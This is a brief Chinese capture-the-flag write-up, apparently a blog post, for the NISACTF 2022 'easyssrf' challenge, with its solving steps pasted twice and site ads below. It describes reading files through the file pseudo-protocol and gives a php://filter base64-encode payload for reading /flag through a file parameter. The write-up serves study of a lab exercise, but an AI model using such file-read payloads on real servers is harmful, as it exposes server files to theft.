[NISACTF 2022]easyssrf
先按照最简单的试试
那就试试/fl4g,需要使用file伪协议进行文件读取,然后得到新的提示
进入新的目录
直接构造路劲进行flag的读取
也可以利用别的伪协议
url?file=php://filter/read=convert.base64-encode/resource=/flag
先按照最简单的试试
那就试试/fl4g,需要使用file伪协议进行文件读取,然后得到新的提示
进入新的目录
直接构造路劲进行flag的读取
也可以利用别的伪协议
url?file=php://filter/read=convert.base64-encode/resource=/flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】